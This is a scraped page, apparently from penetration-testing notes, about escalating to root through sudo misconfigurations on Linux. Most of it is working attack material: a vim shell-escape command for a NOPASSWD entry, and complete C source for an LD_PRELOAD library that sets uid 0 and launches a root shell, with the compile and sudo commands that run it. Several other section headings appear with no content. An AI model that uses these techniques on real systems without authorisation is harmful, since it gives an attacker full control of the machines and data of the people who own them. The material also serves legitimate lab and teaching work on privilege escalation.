Sudo Misconfigurations
Theory
Practice
NOPASSWD
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vimsudo -u root vim -c '!sh'LD_PRELOAD
$ sudo -l
env_reset, env_keep+=LD_PRELOAD
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/find//Saved as /tmp/privEsc.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash -p");
}gcc -fPIC -shared -o something.so /tmp/privEsc.c -nostartfiles#Use any command you can run with sudo
sudo LD_PRELOAD=./something.so <COMMAND>
#Example
sudo LD_PRELOAD=./something.so /usr/bin/findLD_LIBRARY_PATH
SETENV
Command Path Hijacking
Bypassing paths - Wildcard & Symlink
References
Last updated